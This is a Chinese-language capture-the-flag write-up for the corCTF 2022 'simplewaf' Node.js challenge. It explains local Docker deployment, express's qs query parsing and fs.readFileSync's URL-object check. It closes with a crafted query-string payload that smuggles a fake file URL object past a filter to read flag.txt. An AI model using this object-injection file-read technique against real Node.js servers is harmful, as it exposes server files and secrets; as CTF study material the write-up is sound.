第一道 node 题——corCTF 2022 simplewaf
本地部署
-
dockerfile
FROM node:18.1.0-bullseye-slim WORKDIR /app COPY . ./ RUN npm i CMD ["node", "main.js"]
意思是,拷贝文件后,
npm i
,node main.js
启动 -
command
构建镜像
docker build -t cor:v1 .
启动容器(需要把端口映射出来)
docker run -p <外部端口>:<内部端口> --name try1 cor:v1
背景知识
-
node 后端框架
express
: 经典的 nodejs 后端框架,听说在nodejs诞生初就有了koa
: 轻量型的框架nestjs
:express 的进化版本(现在常用) -
js 箭头函数、回调函数
-
url encode
%61
是 a,用16进制表示 -
源码调试
复现
-
qs
express 使用的 qs 模块可以把 get 的 query 参数解析成对象
即:
?person[name]=giacomo&person[nickname]=james
可以解析成person对象
{”name”:”giacomo”, “nickname”:”james”}
http://localhost:3456/?file[a]=b&file[c]=d
的解析结果是file:{a:'b',c:'d'}
-
fs.readFileSync
可以接收的参数不只是 string,也可以是 url。不过我们只能传一个 narmal 的 object,不是 url这样看起来好像没有机会楽,但是 fs 对于 url 类的判定的实现比较不一样
所以从 fs 的 readfilesync 函数往下看看(fs 是 node 自带的库,所以module里翻不到),可以找到 express 对 url 的判断:
function isURLInstance(fileURLOrPath) { return fileURLOrPath != null && fileURLOrPath.href && fileURLOrPath.origin; }
💡 这里发现不同的 node 版本要去 其他 brach 里面看
根据这一系列函数就能知道要这样构造对象
protocol = 'file:' url.pathname = '/app/flag.txt' hostname='' origin=x href=x
这样就 ok 楽
http://localhost:3455/?file[protocol]=file:&file[href]=a&file[pathname]=fl%2561g.txt&file[hostname]=&file[origin]=x